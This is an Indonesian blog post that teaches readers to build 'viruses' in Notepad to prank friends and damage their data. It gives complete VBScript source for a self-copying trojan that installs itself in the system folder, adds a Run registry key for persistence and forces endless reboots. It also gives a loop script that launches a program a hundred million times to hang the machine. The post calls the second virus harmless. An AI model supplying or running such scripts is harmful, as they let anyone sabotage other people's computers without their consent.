Bagi2
ilmu nih sob.. buat kamu2 yang pengen isengin temen... n sekalian
pengen rusak data2nya. ni ada cra gampang buat Virus dengan notepad.
*note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan)
jika tidak biarkan tetap dalam file exstensi.txt
exapels: Uchiha_trojanHorse.VBS
Copy semua source di bawah ini:
rem - dlRB "DL Reboot" Trojan script by D.L.
On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"
sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")
set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function
function rebootSystem()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
|
|
 |
http://www.blogger.com/blogger.g?blogID=7740567661496999030#editor/target=page;pageID=22845266152083222 |
|
Pada kesempatan kali ini kita akan mencoba membuat virus sederhana
dengan notepad. Awalnya
saya juga tidak percaya bahwa
virus dapat dibuat hanya dengan menggunakan notepad dan bahkan dapat
dipraktekkan secara langsung oleh seorang “newbie” sekalipun
seperti saya
. Baiklah tanpa perlu basa-basi mari kita coba praktekkan saja langsung.
Berikut caranya:
1. Buka notepad kemudian copas kode di bawah ini ke notepad tersebut
==============================================================
option explicit
dim wshshell
set wshshell=wscript.createobject(“wscript.shell”)
dim x
for x = 1 to 100000000
wshshell.run “tourstart.exe”
next
==============================================================
2. Lalu Save as dengan nama “virus.vbs” (tanpa tanda kutip), kemudian
rubah Save as type-nya menjadi All Files.
Peringatan!!
Jangan klik file virus.vbs tersebut, karena komputer sobat akan dipenuhi
oleh 100000000 tourstart yang akan memenuhi layar sobat dan akan
membuat komputer menjadi hang, untuk mengatasinya sobatdapat
mendelete semua tourstart tersebut atau langsung merestart komputer
sobat. Bila sobatingin mencoba virus ini sekedar untuk percobaan,
silahkan membuat ulang program nya, dengan perbedaan ubah 100000000 ke
10. Maka setelah sobat mengklik programnya (virus.vbs), layar sobat
hanya akan dipenuhi oleh 10 tourstart saja.
Nb: Virus ini tidak berbahaya, karena tidak akan menyebabkan kerusakan
vatal pada sistem komputer kita
Tidak ada komentar:
Posting Komentar